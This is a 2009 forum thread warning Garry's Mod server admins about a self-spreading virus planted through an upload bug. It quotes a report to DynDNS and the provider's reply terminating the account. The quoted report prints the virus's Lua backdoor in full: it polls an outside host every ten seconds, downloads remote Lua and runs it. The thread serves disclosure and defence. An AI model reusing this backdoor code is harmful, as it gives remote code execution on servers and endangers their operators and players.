Check your lua/autorun/* folders

[leeetdude]

Hello guys,

Due the Upload/(Download)-Bug ppl. maybe uploaded files to your server. If you noticed unkickable (rejoining) bots, you where part of an Gmod Virus (at this time it WAS a virus due he was able to spread himself if you had the right modules installed) which has also the ability to update himself (he was linked to some dyndns domain, the website behind it is down right now)

If you find any files (you don't know ofc) in your lua/autorun folder, you should comment the code out.

Regards.

[leeetdude]

On Mon Dec 07 20:34:29 2009, (CENSORED) wrote:
> Dear DynDns Services Team,
>
>
>
> On your Subdomain,
>
> [url]http://cds.ath.cx[/url] was and Is hosted (I reported this already, got
> suspensed) an auto-update of an Gmod-Virus.
>
> Gmod is a game with gameservers, where you can create custom content and.
> bad things. Currently there is a bug which allows you to upload any
> file you want to any server.
>
>
>
> The code getting spreaded is:
>
>
>
> Textfeld: local RCC = RunConsoleCommand local RS = RunString local
> string = string local http = http local timer = timer local print =
> print local strPrefix = "<A HREF=\""
> local strSuffix = "\">here</A>"
> BDOOR_FUNCTIONALITY = {}
> local function UpdateBotCode()
> http.Get("http://cds.ath.cx","",function (c,s) local strRedirect = ""
> local nS = string.find(c,strPrefix)
> if nS then
> local nE = string.find(c,strSuffix,nS) if nE then local strURL =
> string.sub(c,nS+string.len(strPrefix),nE-1)
> http.Get(strURL,"",function (c2,s2)
> if s2>0 and string.Left(c2,2)=="--" then
> RS(c2)
> end
> end)
> end
> end
> end)
> end
> UpdateBotCode()
> timer.Create("merciless demons are merciless",10,0,UpdateBotCode)
>
>

This account has been terminated for violation of our Acceptable Use Policy.

All hostnames associated with this account have been blocked to prevent future abuse. It may take a little while for DNS servers across the internet to reflect this change.

Thank you for your report,

--
xxxxxxxxxxx (censored)
Customer Service Technician
Dynamic Network Services, Inc.
[url]http://www.dyndns.com/[/url]

[brocko]

[QUOTE=leeetdude;18799292]This account has been terminated for violation of our Acceptable Use Policy.[/url][/QUOTE]

Good show leeetdude. This one was getting on our nerves. You should've seen netstat. :S

[leeetdude]

No Problem ;)